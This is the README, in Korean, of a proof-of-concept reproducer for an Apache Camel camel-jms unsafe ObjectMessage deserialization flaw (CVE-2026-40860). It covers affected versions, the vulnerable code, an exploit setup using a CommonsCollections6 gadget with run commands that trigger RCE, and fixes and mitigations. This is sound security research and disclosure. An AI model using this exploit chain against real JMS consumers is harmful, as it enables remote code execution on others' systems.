
CVE-2026-40860 재현기 — Apache Camel camel-jms/sjms/amqp JMS ObjectMessage 안전하지 않은 역직렬화 (RCE)
이 프로젝트는 Apache Camel의 camel-jms 구성 요소(그리고 전이적으로 camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6)에서 CVE-2026-40860으로 추적되는 Java 역직렬화 취약점을 시연합니다. JmsBinding.extractBodyFromJms()는 수신된 JMS **ObjectMessage**의 페이로드를 ObjectInputFilter나 클래스 허용 목록/차단 목록 없이 ObjectMessage.getObject()를 통해 역직렬화합니다. 이는 (기본값)이고 Camel이 JMS 인 경우 항상 실행되므로, gadget 체인이 클래스패스에 있을 때 소비되는 큐/토픽에 조작된 를 게시할 수 있는 공격자는 을 달성할 수 있습니다.
mapJmsMessage=trueObjectMessage| Property | Value |
|---|---|
| 영향 구성 요소 | camel-jms (+ camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6) |
| 영향 클래스 | org.apache.camel.component.jms.JmsBinding#extractBodyFromJms → jakarta.jms.ObjectMessage#getObject() |
| CWE | CWE-502: 신뢰할 수 없는 데이터의 역직렬화 |
| 영향 | 원격 코드 실행 (RCE) |
| 트리거 | Camel JMS 소비자 + mapJmsMessage=true(기본값) + 공격자가 큐에 넣을 수 있는 ObjectMessage |
| 영향 버전 | 3.0.0부터 4.14.7 이전, 4.15.0부터 4.18.2 이전, 4.19.0부터 4.20.0 이전 |
| 수정 버전 | 4.14.7, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23321 |
| 보고자 | Venkatraman Kumar (Securin) |
// JmsBinding.extractBodyFromJms(Exchange, Message) - affected version
if (message instanceof ObjectMessage objectMessage) {
Object payload = objectMessage.getObject(); // <-- deserializes with no ObjectInputFilter
if (payload instanceof DefaultExchangeHolder holder) {
...
}
return payload;
}
getObject()는 메시지 본문에 대해 JMS 공급자의 ObjectInputStream.readObject()를 실행합니다. Camel은 자체 클래스 필터링을 추가하지 않으므로 클래스패스의 gadget 체인은 역직렬화 중에 실행됩니다.
수정(4.14.7 / 4.18.2 / 4.20.0)은 기본 ObjectInputFilter 허용 목록(java.**;javax.**;org.apache.camel.**;!*)을 추가하며, 이는 새로운 deserializationFilter 엔드포인트 옵션이나 JVM 전체의 -Djdk.serialFilter를 통해 사용자 정의할 수 있습니다. 수정에 대한 Camel의 커밋 메시지를 참고하세요:
이 검사는 JMS 공급자가 이미 페이로드를 역직렬화한 후에 실행됩니다. 예상치 못한 클래스가 라우트로 전파되는 것을 방지하지만, 공급자의
ObjectInputStream내부에서readObject()가 실행되는 gadget 체인을 자체적으로는 막을 수 없습니다. 완전한 보호를 위해서는 JMS 공급자 자체의 역직렬화 필터와/또는 JVM 전체의-Djdk.serialFilter를 구성해야 합니다.
따라서 완전한 보호 = Camel 업그레이드 + 공급자/JVM 필터 제한. 이 PoC는 trustAllPackages=true(일반적인 실제 환경 설정)를 사용하는 ActiveMQ 클라이언트를 사용하여 공급자가 페이로드를 역직렬화하도록 합니다. 영향을 받는 Camel 버전에서는 그 외에 방해하는 것이 없습니다.
from("jms:queue:evil") // mapJmsMessage defaults to true
.log("Consumed: ${body.class.name}");
ObjectMessage를 수신하는 것만으로도 역직렬화가 트리거됩니다. 라우트 본문은 관련이 없습니다.
피해자는 Camel JMS 소비자입니다. 공격자는 큐에 게시할 수 있는 모든 프로듀서입니다. 둘 다 Docker에서 실행되는 실제 Apache ActiveMQ Artemis 브로커와 통신합니다.
CVE-2026-40860/
├── pom.xml # camel-jms 4.18.1 + activemq-client 6.2.4 + commons-collections 3.2.1 (gadget)
├── Dockerfile # runs the app (--add-opens only to build the gadget)
├── docker-compose.yml # Artemis broker (quay.io) + the reproducer app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── JmsConfig.java # OpenWire ConnectionFactory (trustAllPackages=true) + jms component
│ ├── VictimRoute.java # victim: from("jms:queue:evil")
│ ├── Gadget.java # CommonsCollections6 gadget, fires during getObject()
│ └── ExploitController.java # attacker: publishes ObjectMessage(gadget) to the queue
└── resources/
└── application.properties
실제 공격에서 직렬화된 바이트는 공격자가 오프라인으로 생성합니다(예: ysoserial 사용). gadget 체인이 클래스패스에 필요한 것은 피해자뿐입니다. 이 PoC는 편의상 gadget을 프로세스 내에서 빌드하므로 JVM이
--add-opens java.base/java.util=ALL-UNNAMED로 실행됩니다. 이는 gadget 구성 세부 사항일 뿐 취약점과는 무관합니다.
mvn clean package -DskipTests
docker compose up -d --build
이렇게 하면 Artemis 브로커(quay.io/artemiscloud/activemq-artemis-broker)와 재현 앱이 시작되며, 앱은 OpenWire로 브로커에 연결합니다.
curl -s http://localhost:8080/exploit/attack
# -> ObjectMessage published to queue 'evil'.
# camel-jms consumer called ObjectMessage.getObject() -> deserialization.
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-40860 ls -la /tmp/pwned
docker compose down
공격자가 게시할 수 있는 대상(공유 브로커, 열린 프로듀서가 있는 토픽, 신뢰할 수 없는 업스트림이 공급하는 큐)에서 읽는 모든 Camel JMS 소비자(camel-jms, camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6)는 mapJmsMessage=true(기본값)일 때 영향을 받습니다.
mapJmsMessage=true(기본값)인 Camel JMS 소비자.ObjectMessage를 큐에 넣을 수 있어야 함.trustAllPackages=true 또는 제한적인 필터가 없는 공급자).commons-collections:3.2.1).4.14.7 / 4.18.2 / 4.20.0으로 업그레이드하고, 역직렬화를 종단 간 제한하세요:
-Djdk.serialFilter=java.**;org.apache.camel.**;!* (또는 엔드포인트의 새로운 deserializationFilter 옵션).trustedPackages, trustAllPackages=true는 사용하지 마세요).업그레이드 전까지:
ObjectMessage가 아닌 페이로드를 선호하고, 원시 메시지가 허용되는 곳에서는 mapJmsMessage=false로 설정하세요.trustAllPackages=true를 사용하지 마세요.-Djdk.serialFilter를 적용하세요.이 재현 도구는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.